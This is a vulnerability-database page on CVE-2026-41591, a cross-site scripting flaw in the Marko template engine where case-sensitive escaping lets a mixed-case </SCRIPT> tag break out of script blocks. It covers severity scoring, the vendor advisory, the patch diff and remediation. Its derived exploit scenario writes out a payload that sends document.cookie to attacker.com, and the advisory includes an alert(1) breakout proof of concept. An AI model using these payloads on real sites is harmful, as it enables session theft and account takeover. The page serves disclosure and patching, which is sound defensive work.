Skip to main content

Marko CVE-2026-41591

MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-22 https://github.com/marko-js/marko GHSA-x9fj-57fh-c8wq
6.4
CVSS 3.1 · Vendor: https://github.com/marko-js/marko
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Supply mixed-case tag payload
  2. Delivery
    Template interpolates into script tag
  3. Exploit
    Browser parser recognizes </SCRIPT> as valid
  4. Execution
    Injected script executes
  5. Impact
    Attacker exfiltrates session data or performs account takeover

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires two specific conditions: (1) a Marko template that explicitly interpolates user-controlled or otherwise untrusted data directly into a <script> or <style> tag using template syntax (e.g., <script>const data = ${userInput};</script>), and (2) an attacker with the ability to supply input containing mixed-case tag closing sequences (</SCRIPT>, </STYLE>, etc.). The vulnerability does NOT affect Marko's internal hydration scripts or state serialization-only explicit developer interpolation. Non-default configurations, special privileges, or user interaction are not required beyond the ability to supply input to an affected template position. Default Marko configurations using the vulnerable helpers are affected; applications that manually sanitize all user input before template rendering, or that avoid interpolating untrusted data inside script/style tags, are not vulnerable despite running unpatched Marko versions.

Impact

CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) indicates network accessibility with low complexity, authenticated access (PR:L), no user interaction, and changed scope-yielding a base score of 6.4 (medium risk). However, real-world risk is substantially elevated by several factors: (1) exploitation requires only low privilege (any authenticated user account), (2) impact is stored XSS when user data persists (usernames, bios, comments), enabling trivial session hijacking and account takeover, and (3) Marko developers following standard patterns have no secondary defense mechanism and likely did not implement additional sanitization. The low-privilege requirement contradicts typical web application threat models where user-supplied content is endemic. This is NOT a high-CVSS-but-low-real-risk scenario; the medium CVSS understates the practical impact of stored XSS in a widely-deployed templating library. Exploitation status: no public exploit or active KEV confirmation detected at time of analysis, but PoC provided in advisory demonstrates trivial exploitation. Patch availability and low barrier to entry create urgency for remediation.

Exploit ScenarioDerived

An attacker creates a user account and sets their profile bio to the payload </SCRIPT><script>fetch('https://attacker.com/steal?token='+document.cookie)</script>. When another user views the attacker's profile, the template interpolates the bio inside a <script> tag as const bio = "</SCRIPT><script>fetch(...)</script>";. The browser parser treats </SCRIPT> as a valid closing tag, terminates the original script context, and executes the attacker's injected script in the victim's browser context, exfiltrating their session cookies to the attacker.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 23, 2026

Cross-site scripting in Marko template engine allows authenticated attackers to break out of script and style tags using mixed-case closing tags (e.g., </SCRIPT>, </Style>) and inject arbitrary HTML/JavaScript. The vulnerability affects any Marko template that interpolates untrusted user data inside <script> or <style> blocks, enabling stored XSS attacks against victim browsers with CVSS 6.4 (network-accessible, low complexity, requires low privileges). Vendor-released patch available.

RemediationAI

Upgrade Marko to the patched release containing commit 19d4b37d0, which corrects the case-sensitive regular expressions to case-insensitive variants (/<\/script/gi and /<\/style/gi). Consult https://github.com/marko-js/marko/security/advisories/GHSA-x9fj-57fh-c8wq for exact patched version numbers. As an immediate short-term mitigation on unpatched systems, pre-sanitize untrusted data before template interpolation by normalizing closing tag variants: convert all instances of </script, </style, and their mixed-case forms (</SCRIPT>, </Script>, etc.) to a safe alternative (e.g., replace with escaped entities or remove entirely) before the value reaches template rendering. Alternatively, avoid direct interpolation of untrusted values inside <script> or <style> blocks entirely-serialize data to JSON outside these tags and reference it via global variable assignment, or use Marko's built-in state hydration mechanisms instead of manual interpolation. Each workaround trades convenience for security; the patch is the recommended path.

Affected Packages

npm @marko/runtime-tags fix: 6.0.164
npm marko fix: 5.38.36

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Marko is a JavaScript template engine that uses built-in helper functions (_escape_script, _escape_style, _escape_comment) to sanitize dynamic content interpolated into <script> and <style> tags. The helpers employed case-sensitive regular expressions (/<\/script/g and /<\/style/g) to detect breakout attempts. However, HTML tag names are case-insensitive per WHATWG specification-browsers accept </SCRIPT>, </Script>, </sTyLe> as valid closing tags. The regexes failed to match mixed-case variants, allowing unsanitized input to pass through. The Marko compiler (native-tag.ts) automatically routes all interpolated values in script/style contexts through these helpers, creating an implicit contract that framework-following code would be protected. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), compounded by case-sensitivity assumptions about HTML parsing.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/marko-js/marko) PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Primary rating from Vendor (https://github.com/marko-js/marko) · only source for this CVE.

CVSS VectorVendor: https://github.com/marko-js/marko

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
Patch released
Apr 23, 2026 - 02:30 nvd
Patch available
CVE Published
Apr 22, 2026 - 19:55 nvd
MEDIUM 6.4

DescriptionCVE.org

Summary

When dynamic text is interpolated into a <script> or <style> tag the Marko runtime failed to prevent tag breakout when the closing tag used non-lowercase casing. An attacker able to place input inside a <script> or <style> block could break out of the tag with </SCRIPT>, </Style>, etc. and inject arbitrary HTML/JavaScript, resulting in cross-site scripting.

Details

The affected helpers used case-sensitive regular expressions to detect attempts at closing the surrounding tag:

js
// packages/runtime-tags/src/html/content.ts
const unsafeScriptReg = /<\/script/g;
const unsafeStyleReg  = /<\/style/g;

// packages/runtime-class/src/runtime/html/helpers/escape-script-placeholder.js
const unsafeCharsReg = /<\/script/g;

// packages/runtime-class/src/runtime/html/helpers/escape-style-placeholder.js
const unsafeCharsReg = /<\/style/g;

HTML tag names are case-insensitive in the browser parser, so inputs such as </SCRIPT>, </Script>, or </sTyLe> were not matched by these regexes and passed through the helpers unchanged. A browser rendering the output treats the mixed-case end tag as a valid closing tag, terminating the script or style context, and then parses anything that follows as HTML.

The Marko compiler routes interpolated values inside <script> and <style> tags through these helpers automatically (see native-tag.ts:1080-1085), so application code following the framework's conventions had no way to detect or compensate for the gap.

PoC

marko
$ const userCode = "</SCRIPT><script>alert(1)//";
<script>
  const data = ${JSON.stringify(userCode)};
</script>

Would yield the following:

html
<script>const data = "</SCRIPT><script>alert(1)//";</script>

Which is then parsed in any WHATWG-compliant browser as:

html
<script>const data = "</script>
<script>alert(1)//";</script>

Impact

Cross-site scripting. Any Marko template that explicitly interpolates untrusted data inside a <script> or <style> block is affected.

Stored XSS is trivial if the value originates from any persisted user input (username, profile bio, comment body, etc.) that is later embedded in a script tag during rendering. Exploitation yields arbitrary JavaScript execution in the victim's browser, enabling session token theft, account takeover, and arbitrary actions as the victim.

Since the internal _escape_script and _escape_style helpers are the framework's designated defense against script/style tag breakout, applications following standard Marko patterns had no obvious reason to add a second layer of sanitization.

This does not affect scripts or hydration state serialized by Marko itself - only templates that explicitly interpolate untrusted values inside a <script> or <style> tag.

Patch

Commit 19d4b37d0 - fix: html script, style, and comment escaping.

diff
- const unsafeScriptReg = /<\/script/g;
+ const unsafeScriptReg = /<\/script/gi;

- const unsafeStyleReg  = /<\/style/g;
+ const unsafeStyleReg  = /<\/style/gi;

The same commit also introduced an _escape_comment helper and corresponding escape-comment-placeholder.js, hardening HTML comment escaping as a related preventative fix. Test fixtures were added under escape-script-case, escape-style-case, and escape-comment.

Workarounds

Upgrade to the patched release. As a short-term mitigation on affected versions, pre-sanitize any untrusted data before it reaches a template position rendered inside a <script> or <style> tag - e.g. normalize </script, </style, and their mixed-case variants before interpolation, or avoid direct interpolation of untrusted values inside these tags entirely.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Threat Intel
1
1 source
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)CVE.org

pkg:npm/marko
pkg:npm/@marko_runtime-tags

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy